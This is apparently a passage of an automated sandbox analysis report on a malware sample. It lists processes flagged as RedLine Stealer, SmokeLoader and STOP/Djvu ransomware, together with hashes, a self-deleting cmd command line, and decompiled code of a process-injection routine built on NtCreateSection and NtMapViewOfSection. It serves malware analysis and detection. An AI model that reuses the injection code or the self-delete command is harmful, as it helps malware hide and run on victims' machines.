0000000F.00000000.426731802.0000000000819000.00000040.00000020.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 0000000F.00000002.466941491.0000000000819000.00000040.00000020.00020000.00000000.sdmp, Author: unknown
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 42%, ReversingLabs
Reputation:	low

Show Windows behavior

Chronological Activities

Analysis Process: regsvr32.exePID: 1276, Parent PID: 3452

General

Target ID:	16
Start time:	12:46:55
Start date:	03/11/2022
Path:	C:\Windows\System32\regsvr32.exe
Wow64 process (32bit):	false
Commandline:	regsvr32 /s C:\Users\user\AppData\Local\Temp\509E.dll
Imagebase:	0x7ff715610000
File size:	24064 bytes
MD5 hash:	D78B75FC68247E8A63ACBA846182740E
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high

Show Windows behavior

Chronological Activities

Analysis Process: regsvr32.exePID: 1332, Parent PID: 1276

General

Target ID:	17
Start time:	12:46:55
Start date:	03/11/2022
Path:	C:\Windows\SysWOW64\regsvr32.exe
Wow64 process (32bit):	true
Commandline:	/s C:\Users\user\AppData\Local\Temp\509E.dll
Imagebase:	0x310000
File size:	20992 bytes
MD5 hash:	426E7499F6A7346F0410DEAD0805586B
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	Borland Delphi
Yara matches:	Rule: JoeSecurity_Crypt, Description: Yara detected CryptOne packer, Source: 00000011.00000002.469185788.0000000004FF0000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	high

Show Windows behavior

Chronological Activities

Analysis Process: 5487.exePID: 1272, Parent PID: 3452

General

Target ID:	18
Start time:	12:46:56
Start date:	03/11/2022
Path:	C:\Users\user\AppData\Local\Temp\5487.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\5487.exe
Imagebase:	0x7ff603c50000
File size:	331776 bytes
MD5 hash:	ADF28F31EED0074753479AC51AF789C9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000012.00000002.515243787.0000000002355000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 00000012.00000002.512998427.0000000000968000.00000040.00000020.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Smokeloader_3687686f, Description: unknown, Source: 00000012.00000002.511826941.0000000000890000.00000040.00001000.00020000.00000000.sdmp, Author: unknown
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 41%, ReversingLabs

Show Windows behavior

Chronological Activities

Analysis Process: 5999.exePID: 1244, Parent PID: 3452

General

Target ID:	19
Start time:	12:46:57
Start date:	03/11/2022
Path:	C:\Users\user\AppData\Local\Temp\5999.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\5999.exe
Imagebase:	0x400000
File size:	746496 bytes
MD5 hash:	4128ACBEDEE976974A7F0C08272C33BC
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 00000013.00000002.473163211.00000000022D7000.00000040.00000800.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_Djvu, Description: Yara detected Djvu Ransomware, Source: 00000013.00000002.474602203.0000000002370000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Ransomware_Stop_1e8d48ff, Description: unknown, Source: 00000013.00000002.474602203.0000000002370000.00000040.00001000.00020000.00000000.sdmp, Author: unknown
Antivirus matches:	Detection: 100%, Joe Sandbox ML

Show Windows behavior

Chronological Activities

Analysis Process: explorer.exePID: 5220, Parent PID: 3452

General

Target ID:	20
Start time:	12:47:00
Start date:	03/11/2022
Path:	C:\Windows\SysWOW64\explorer.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\explorer.exe
Imagebase:	0xd60000
File size:	3611360 bytes
MD5 hash:	166AB1B9462E5C1D6D18EC5EC0B6A5F7
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: Windows_Trojan_Smokeloader_4e31426e, Description: unknown, Source: 00000014.00000000.415949040.0000000000C90000.00000040.80000000.00040000.00000000.sdmp, Author: unknown

Show Windows behavior

Chronological Activities

Analysis Process: explorer.exePID: 3572, Parent PID: 3452

General

Target ID:	21
Start time:	12:47:02
Start date:	03/11/2022
Path:	C:\Windows\explorer.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\explorer.exe
Imagebase:	0x7ff647860000
File size:	3933184 bytes
MD5 hash:	AD5296B280E8F522A8A897C96BAB0E1D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: 5999.exePID: 4888, Parent PID: 1244

General

Target ID:	25
Start time:	12:47:05
Start date:	03/11/2022
Path:	C:\Users\user\AppData\Local\Temp\5999.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\5999.exe
Imagebase:	0x400000
File size:	746496 bytes
MD5 hash:	4128ACBEDEE976974A7F0C08272C33BC
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: SUSP_XORed_URL_in_EXE, Description: Detects an XORed URL in an executable, Source: 00000019.00000000.458476037.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Florian Roth Rule: JoeSecurity_Djvu, Description: Yara detected Djvu Ransomware, Source: 00000019.00000000.458476037.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: MALWARE_Win_STOP, Description: Detects STOP ransomware, Source: 00000019.00000000.458476037.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: ditekSHen Rule: Windows_Ransomware_Stop_1e8d48ff, Description: unknown, Source: 00000019.00000000.458476037.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: unknown Rule: SUSP_XORed_URL_in_EXE, Description: Detects an XORed URL in an executable, Source: 00000019.00000000.468200918.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Florian Roth Rule: JoeSecurity_Djvu, Description: Yara detected Djvu Ransomware, Source: 00000019.00000000.468200918.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: MALWARE_Win_STOP, Description: Detects STOP ransomware, Source: 00000019.00000000.468200918.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: ditekSHen Rule: Windows_Ransomware_Stop_1e8d48ff, Description: unknown, Source: 00000019.00000000.468200918.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: unknown Rule: SUSP_XORed_URL_in_EXE, Description: Detects an XORed URL in an executable, Source: 00000019.00000000.465494612.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Florian Roth Rule: JoeSecurity_Djvu, Description: Yara detected Djvu Ransomware, Source: 00000019.00000000.465494612.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: MALWARE_Win_STOP, Description: Detects STOP ransomware, Source: 00000019.00000000.465494612.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: ditekSHen Rule: Windows_Ransomware_Stop_1e8d48ff, Description: unknown, Source: 00000019.00000000.465494612.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: unknown Rule: Windows_Ransomware_Stop_1e8d48ff, Description: unknown, Source: 00000019.00000000.442875397.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: unknown Rule: SUSP_XORed_URL_in_EXE, Description: Detects an XORed URL in an executable, Source: 00000019.00000002.480385928.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Florian Roth Rule: JoeSecurity_Djvu, Description: Yara detected Djvu Ransomware, Source: 00000019.00000002.480385928.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: MALWARE_Win_STOP, Description: Detects STOP ransomware, Source: 00000019.00000002.480385928.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: ditekSHen Rule: Windows_Ransomware_Stop_1e8d48ff, Description: unknown, Source: 00000019.00000002.480385928.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: unknown Rule: SUSP_XORed_URL_in_EXE, Description: Detects an XORed URL in an executable, Source: 00000019.00000000.461705193.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Florian Roth Rule: JoeSecurity_Djvu, Description: Yara detected Djvu Ransomware, Source: 00000019.00000000.461705193.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: MALWARE_Win_STOP, Description: Detects STOP ransomware, Source: 00000019.00000000.461705193.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: ditekSHen Rule: Windows_Ransomware_Stop_1e8d48ff, Description: unknown, Source: 00000019.00000000.461705193.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: unknown Rule: SUSP_XORed_URL_in_EXE, Description: Detects an XORed URL in an executable, Source: 00000019.00000000.456775427.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Florian Roth Rule: JoeSecurity_Djvu, Description: Yara detected Djvu Ransomware, Source: 00000019.00000000.456775427.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: MALWARE_Win_STOP, Description: Detects STOP ransomware, Source: 00000019.00000000.456775427.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: ditekSHen Rule: Windows_Ransomware_Stop_1e8d48ff, Description: unknown, Source: 00000019.00000000.456775427.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: unknown

Show Windows behavior

Chronological Activities

Analysis Process: WerFault.exePID: 4600, Parent PID: 1324

General

Target ID:	26
Start time:	12:47:09
Start date:	03/11/2022
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 1324 -s 520
Imagebase:	0xbe0000
File size:	434592 bytes
MD5 hash:	9E2B8ACAD48ECCA55C0230D63623661B
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: WerFault.exePID: 5348, Parent PID: 5516

General

Target ID:	29
Start time:	12:47:13
Start date:	03/11/2022
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 5516 -s 520
Imagebase:	0xbe0000
File size:	434592 bytes
MD5 hash:	9E2B8ACAD48ECCA55C0230D63623661B
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: gecbfdtPID: 1100, Parent PID: 1064

General

Target ID:	30
Start time:	12:47:33
Start date:	03/11/2022
Path:	C:\Users\user\AppData\Roaming\gecbfdt
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Roaming\gecbfdt
Imagebase:	0x400000
File size:	216576 bytes
MD5 hash:	ABC4A016ED52C530C02FCFA8D5AC2506
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 0000001E.00000000.510855251.00000000008D8000.00000040.00000020.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 0000001E.00000003.505978851.0000000000710000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 0000001E.00000002.539352220.00000000008D8000.00000040.00000020.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Smokeloader_3687686f, Description: unknown, Source: 0000001E.00000000.507812417.0000000000700000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 0000001E.00000000.508110815.00000000008D8000.00000040.00000020.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Smokeloader_3687686f, Description: unknown, Source: 0000001E.00000000.510353848.0000000000700000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Smokeloader_3687686f, Description: unknown, Source: 0000001E.00000002.535910271.0000000000700000.00000040.00001000.00020000.00000000.sdmp, Author: unknown
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 38%, ReversingLabs

Show Windows behavior

Chronological Activities

Analysis Process: cmd.exePID: 5960, Parent PID: 1272

General

Target ID:	32
Start time:	12:47:44
Start date:	03/11/2022
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\cmd.exe" /c timeout /t 6 & del /f /q "C:\Users\user\AppData\Local\Temp\5487.exe" & exit
Imagebase:	0x1b0000
File size:	232960 bytes
MD5 hash:	F3BDBE3BB6F734E357235F4D5898582D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: conhost.exePID: 5936, Parent PID: 5960

General

Target ID:	33
Start time:	12:47:44
Start date:	03/11/2022
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6da640000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: timeout.exePID: 3432, Parent PID: 5960

General

Target ID:	34
Start time:	12:47:44
Start date:	03/11/2022
Path:	C:\Windows\SysWOW64\timeout.exe
Wow64 process (32bit):	true
Commandline:	timeout /t 6
Imagebase:	0xe0000
File size:	26112 bytes
MD5 hash:	121A4EDAE60A7AF6F5DFA82F7BB95659
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: WerFault.exePID: 5544, Parent PID: 1100

General

Target ID:	35
Start time:	12:47:45
Start date:	03/11/2022
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 1100 -s 520
Imagebase:	0xbe0000
File size:	434592 bytes
MD5 hash:	9E2B8ACAD48ECCA55C0230D63623661B
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Disassembly

Reset < >

Analysis Process: file.exePID: 5540, Parent PID: 3452COMMON

Execution Graph

Execution Coverage:	4.2%
Dynamic/Decrypted Code Coverage:	19.1%
Signature Coverage:	9.7%
Total number of Nodes:	288
Total number of Limit Nodes:	24

Executed Functions

Function 0040156B Relevance: 10.7, APIs: 7, Instructions: 193
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 81%

			E0040156B(void* __edx, void* __eflags, void* __fp0, intOrPtr _a4, void* _a8, intOrPtr _a12, intOrPtr _a16) {
				void* _v8;
				long _v12;
				void* _v16;
				void* _v20;
				char _v44;
				char _v52;
				long _v56;
				long _v60;
				char _v64;
				char _v68;
				char _v72;
				char _v76;
				char _v84;
				char _v88;
				char _v92;
				intOrPtr _v96;
				char _v100;
				void* _v288;
				void* __ebx;
				void* __edi;
				intOrPtr _t88;
				long _t91;
				struct _GUID _t99;
				struct _GUID _t101;
				PVOID* _t103;
				PVOID* _t105;
				PVOID* _t122;
				PVOID* _t124;
				void* _t128;
				intOrPtr _t129;
				long* _t132;
				void* _t174;
				long _t175;
				long* _t182;
				intOrPtr* _t183;
				HANDLE* _t184;
				HANDLE* _t185;
				intOrPtr _t198;
				void* _t199;
				void* _t200;
				long _t218;
				void* _t223;

				_t223 = __fp0;
				_push(0x36c);
				_t200 = _t199 + 4;
				L00401271(0x15a2, _t128, _t174, __eflags);
				_t129 = _a4;
				_t175 = 0;
				_v56 = 0;
				if(gs != 0) {
					_v56 = _v56 + 1;
				}
				while(1) {
					_t88 =  *((intOrPtr*)(_t129 + 0x48))();
					if(_t88 != 0) {
						break;
					}
					 *((intOrPtr*)(_t129 + 0x1c))(0x3e8);
				}
				_v96 = _t88;
				_t182 =  &_v100;
				 *_t182 = _t175;
				 *((intOrPtr*)(_t129 + 0x4c))(_t88, _t182);
				_t91 =  *_t182;
				if(_t91 == 0) {
					L63:
					return L00401271(0x15a2, _t129, _t175, _t222);
				}
				_t132 =  &_v52;
				 *_t132 = _t91;
				_t132[1] = _t175;
				_t183 =  &_v44;
				 *((intOrPtr*)(_t129 + 0x10))(_t183, 0x18);
				 *_t183 = 0x18;
				_push( &_v52);
				_push(_t183);
				_push(0x40);
				_push( &_v20);
				if( *((intOrPtr*)(_t129 + 0x70))() == 0 && NtDuplicateObject(_v20, 0xffffffff, 0xffffffff,  &_v16, _t175, _t175, 2) == 0) {
					_v12 = _t175;
					_t99 =  &_v84;
					 *(_t99 + 4) = _t175;
					 *_t99 = 0x5000;
					_t184 =  &_v88;
					if(NtCreateSection(_t184, 6, _t175, _t99, 4, 0x8000000, _t175) == 0) {
						_push(_v84);
						_pop( *_t25);
						_t122 =  &_v72;
						 *_t122 = _t175;
						if(NtMapViewOfSection( *_t184, 0xffffffff, _t122, _t175, _t175, _t175,  &_v60, 1, _t175, 4) == 0) {
							_t124 =  &_v64;
							 *_t124 = _t175;
							if(NtMapViewOfSection( *_t184, _v16, _t124, _t175, _t175, _t175,  &_v60, 1, _t175, 4) == 0) {
								_t198 = _v72;
								 *((intOrPtr*)(_t129 + 0x20))(_t175, _t198, 0x104);
								 *((intOrPtr*)(_t198 + 0x208)) = _a16;
								_v12 = _v12 + 1;
							}
						}
					}
					_t101 =  &_v84;
					 *(_t101 + 4) = _t175;
					 *_t101 = _a12 + 0x10000;
					_t185 =  &_v92;
					if(NtCreateSection(_t185, 0xe, _t175, _t101, 0x40, 0x8000000, _t175) == 0) {
						while(_v12 != 0) {
							_push(_v84);
							_pop( *_t46);
							_t103 =  &_v76;
							 *_t103 = _t175;
							if(NtMapViewOfSection( *_t185, 0xffffffff, _t103, _t175, _t175, _t175,  &_v60, 1, _t175, 4) != 0) {
								goto L63;
							}
							_t105 =  &_v68;
							 *_t105 = _t175;
							_t218 = NtMapViewOfSection( *_t185, _v16, _t105, _t175, _t175, _t175,  &_v60, 1, _t175, 0x20);
							if(_t218 != 0) {
								goto L63;
							}
							L21();
							if(_t218 != 0 || _t218 == 0) {
								L25:
								asm("lodsb");
								goto L43;
								asm("loop 0xffffffc7");
								switch(0x4017c8) {
								}
							} else {
								if(_t218 < 0) {
									continue;
								}
								asm("cmpsd");
								_t200 = _t200 - 1;
								goto L25;
							}
						}
					}
				}
			}

0x0040156b
0x0040158b
0x00401593
0x0040159d
0x004015a2
0x004015a5
0x004015a7
0x004015b0
0x004015b2
0x004015b2
0x004015b5
0x004015b5
0x004015ba
0x00000000
0x00000000
0x004018dd
0x004018dd
0x004015c0
0x004015c3
0x004015c6
0x004015ca
0x004015cd
0x004015d1
0x004018d6
0x00000000
0x00401909
0x004015d7
0x004015da
0x004015dc
0x004015df
0x004015e5
0x004015e8
0x004015f6
0x004015f7
0x004015f8
0x004015fa
0x00401600
0x00401623
0x00401626
0x00401629
0x0040162c
0x00401632
0x00401647
0x00401649
0x0040164c
0x0040164f
0x00401652
0x0040166a
0x0040166c
0x0040166f
0x00401688
0x0040168a
0x00401694
0x0040169a
0x004016a0
0x004016a0
0x00401688
0x0040166a
0x004016a3
0x004016af
0x004016b2
0x004016b4
0x004016c9
0x004016cf
0x004016d9
0x004016dc
0x004016df
0x004016e2
0x004016fa
0x00000000
0x00000000
0x00401700
0x00401703
0x0040171a
0x0040171c
0x00000000
0x00000000
0x00401722
0x00401727
0x0040172f
0x004017a4
0x004017a5
0x004017b1
0x004017c0
0x00000000
0x0040172b
0x0040172b
0x00000000
0x00000000
0x0040172d
0x0040172e
0x00000000
0x0040172e
0x00401727
0x004016cf
0x004016c9

APIs

NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401615
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401642
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401665
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 00401683
NtCreateSection.NTDLL(?,0000000E,00000000,?,00000040,08000000,00000000), ref: 004016C4
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 004016F5
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000020), ref: 00401717

Memory Dump Source

Source File: 00000000.00000002.356288604.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: Section$View$Create$DuplicateObject
String ID:
API String ID: 1546783058-0
Opcode ID: 52a7bd6609b09e3f64181f4a62f3e6ae527d8b12ecb64344e11fb61d3a63f3c8
Instruction ID: 4e6cf93ab59cf35e3a3a48edc2c016eb71cd13ef699383e81882b5db717c4c63
Opcode Fuzzy Hash: 52a7bd6609b09e3f64181f4a62f3e6ae527d8b12ecb64344e11fb61d3a63f3c8
Instruction Fuzzy Hash: DD514D71900208FBEB209F95CC49FAF7BB8FF85710F10412AF912BA2E5E6749901DB25

Uniqueness

Uniqueness Score: -1.00%

Function 00401581 Relevance: 10.7, APIs: 7, Instructions: 169
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 85%

			E00401581(void* __ebx, void* __edx, void* __edi, void* __eflags, void* __fp0) {
				intOrPtr _t88;
				long _t91;
				void* _t93;
				struct _GUID _t99;
				struct _GUID _t101;
				PVOID* _t103;
				PVOID* _t105;
				PVOID* _t122;
				PVOID* _t124;
				intOrPtr _t129;
				long* _t133;
				long _t176;
				long* _t184;
				intOrPtr* _t186;
				HANDLE* _t187;
				HANDLE* _t188;
				void* _t201;
				void* _t202;
				void* _t204;
				void* _t205;
				long _t224;
				void* _t229;

				_t229 = __fp0;
				asm("lodsb");
				_push(0x36c);
				_t205 = _t204 + 4;
				L00401271(0x15a2, __ebx, __edi, __eflags);
				_t129 =  *((intOrPtr*)(_t202 + 8));
				_t176 = 0;
				 *((intOrPtr*)(_t202 - 0x34)) = 0;
				if(gs != 0) {
					 *((intOrPtr*)(_t202 - 0x34)) =  *((intOrPtr*)(_t202 - 0x34)) + 1;
				}
				while(1) {
					_t88 =  *((intOrPtr*)(_t129 + 0x48))();
					if(_t88 != 0) {
						break;
					}
					 *((intOrPtr*)(_t129 + 0x1c))(0x3e8);
				}
				 *((intOrPtr*)(_t202 - 0x5c)) = _t88;
				_t184 = _t202 - 0x60;
				 *_t184 = _t176;
				 *((intOrPtr*)(_t129 + 0x4c))(_t88, _t184);
				_t91 =  *_t184;
				if(_t91 != 0) {
					_t133 = _t202 - 0x30;
					 *_t133 = _t91;
					_t133[1] = _t176;
					_t186 = _t202 - 0x28;
					 *((intOrPtr*)(_t129 + 0x10))(_t186, 0x18);
					 *_t186 = 0x18;
					_push(_t202 - 0x30);
					_push(_t186);
					_push(0x40);
					_push(_t202 - 0x10);
					if( *((intOrPtr*)(_t129 + 0x70))() == 0 && NtDuplicateObject( *(_t202 - 0x10), 0xffffffff, 0xffffffff, _t202 - 0xc, _t176, _t176, 2) == 0) {
						 *(_t202 - 8) = _t176;
						_t99 = _t202 - 0x50;
						 *(_t99 + 4) = _t176;
						 *_t99 = 0x5000;
						_t187 = _t202 - 0x54;
						if(NtCreateSection(_t187, 6, _t176, _t99, 4, 0x8000000, _t176) == 0) {
							 *_t25 =  *(_t202 - 0x50);
							_t122 = _t202 - 0x44;
							 *_t122 = _t176;
							if(NtMapViewOfSection( *_t187, 0xffffffff, _t122, _t176, _t176, _t176, _t202 - 0x38, 1, _t176, 4) == 0) {
								_t124 = _t202 - 0x3c;
								 *_t124 = _t176;
								if(NtMapViewOfSection( *_t187,  *(_t202 - 0xc), _t124, _t176, _t176, _t176, _t202 - 0x38, 1, _t176, 4) == 0) {
									_t201 =  *(_t202 - 0x44);
									 *((intOrPtr*)(_t129 + 0x20))(_t176, _t201, 0x104);
									 *((intOrPtr*)(_t201 + 0x208)) =  *((intOrPtr*)(_t202 + 0x14));
									 *(_t202 - 8) =  *(_t202 - 8) + 1;
								}
							}
						}
						_t101 = _t202 - 0x50;
						 *(_t101 + 4) = _t176;
						 *_t101 =  *((intOrPtr*)(_t202 + 0x10)) + 0x10000;
						_t188 = _t202 - 0x58;
						if(NtCreateSection(_t188, 0xe, _t176, _t101, 0x40, 0x8000000, _t176) == 0) {
							while( *(_t202 - 8) != 0) {
								 *_t46 =  *(_t202 - 0x50);
								_t103 = _t202 - 0x48;
								 *_t103 = _t176;
								if(NtMapViewOfSection( *_t188, 0xffffffff, _t103, _t176, _t176, _t176, _t202 - 0x38, 1, _t176, 4) == 0) {
									_t105 = _t202 - 0x40;
									 *_t105 = _t176;
									_t224 = NtMapViewOfSection( *_t188,  *(_t202 - 0xc), _t105, _t176, _t176, _t176, _t202 - 0x38, 1, _t176, 0x20);
									if(_t224 == 0) {
										L21();
										if(_t224 != 0 || _t224 == 0) {
											L25:
											asm("lodsb");
											goto L43;
											asm("loop 0xffffffc7");
											switch(0x4017c8) {
											}
										} else {
											if(_t224 < 0) {
												continue;
											} else {
												asm("cmpsd");
												_t205 = _t205 - 1;
												goto L25;
											}
										}
									}
								}
								goto L63;
							}
						}
					}
				}
				L63:
				_t93 = L00401271(0x15a2, _t129, _t176, _t228);
				return _t93;
			}

0x00401581
0x00401581
0x0040158b
0x00401593
0x0040159d
0x004015a2
0x004015a5
0x004015a7
0x004015b0
0x004015b2
0x004015b2
0x004015b5
0x004015b5
0x004015ba
0x00000000
0x00000000
0x004018dd
0x004018dd
0x004015c0
0x004015c3
0x004015c6
0x004015ca
0x004015cd
0x004015d1
0x004015d7
0x004015da
0x004015dc
0x004015df
0x004015e5
0x004015e8
0x004015f6
0x004015f7
0x004015f8
0x004015fa
0x00401600
0x00401623
0x00401626
0x00401629
0x0040162c
0x00401632
0x00401647
0x0040164c
0x0040164f
0x00401652
0x0040166a
0x0040166c
0x0040166f
0x00401688
0x0040168a
0x00401694
0x0040169a
0x004016a0
0x004016a0
0x00401688
0x0040166a
0x004016a3
0x004016af
0x004016b2
0x004016b4
0x004016c9
0x004016cf
0x004016dc
0x004016df
0x004016e2
0x004016fa
0x00401700
0x00401703
0x0040171a
0x0040171c
0x00401722
0x00401727
0x0040172f
0x004017a4
0x004017a5
0x004017b1
0x004017c0
0x00000000
0x0040172b
0x0040172b
0x00000000
0x0040172d
0x0040172d
0x0040172e
0x00000000
0x0040172e
0x0040172b
0x00401727
0x0040171c
0x00000000
0x004016fa
0x004016cf
0x004016c9
0x00401600
0x004018d6
0x00401909
0x00401912

APIs

NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401615
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401642
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401665
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 00401683
NtCreateSection.NTDLL(?,0000000E,00000000,?,00000040,08000000,00000000), ref: 004016C4
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 004016F5
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000020), ref: 00401717

Memory Dump Source

Source File: 00000000.00000002.356288604.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: Section$View$Create$DuplicateObject
String ID:
API String ID: 1546783058-0
Opcode ID: 2724959ca90097593f2bae81e778bd46c3888eae9eec304cee1990dc311dfe77
Instruction ID: 261b6cc0bc968e0ced8050ca7f20839481a744be2ea717bb7b43cd06ccdbd1b7
Opcode Fuzzy Hash: 2724959ca90097593f2bae81e778bd46c3888eae9eec304cee1990dc311dfe77
Instruction Fuzzy Hash: 7B510B71900209BFEB209F91CC49FAF7BB8FF85B10F104169F911BA2E5E6759941CB24

Uniqueness

Uniqueness Score: -1.00%

Function 00401577 Relevance: 10.7, APIs: 7, Instructions: 168
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 87%

			E00401577(signed int __eax, void* __ebx, void* __edx, void* __edi, void* __fp0) {
				intOrPtr _t90;
				long _t93;
				void* _t95;
				struct _GUID _t101;
				struct _GUID _t103;
				PVOID* _t105;
				PVOID* _t107;
				PVOID* _t124;
				PVOID* _t126;
				intOrPtr _t131;
				long* _t135;
				long _t178;
				long* _t186;
				intOrPtr* _t188;
				HANDLE* _t189;
				HANDLE* _t190;
				void* _t203;
				void* _t204;
				void* _t206;
				void* _t207;
				signed int _t212;
				long _t226;
				void* _t231;

				_t231 = __fp0;
				_t212 = __eax ^ 0x15a2b8d3;
				_push(0x36c);
				_t207 = _t206 + 4;
				L00401271(0x15a2, __ebx, __edi, _t212);
				_t131 =  *((intOrPtr*)(_t204 + 8));
				_t178 = 0;
				 *((intOrPtr*)(_t204 - 0x34)) = 0;
				if(gs != 0) {
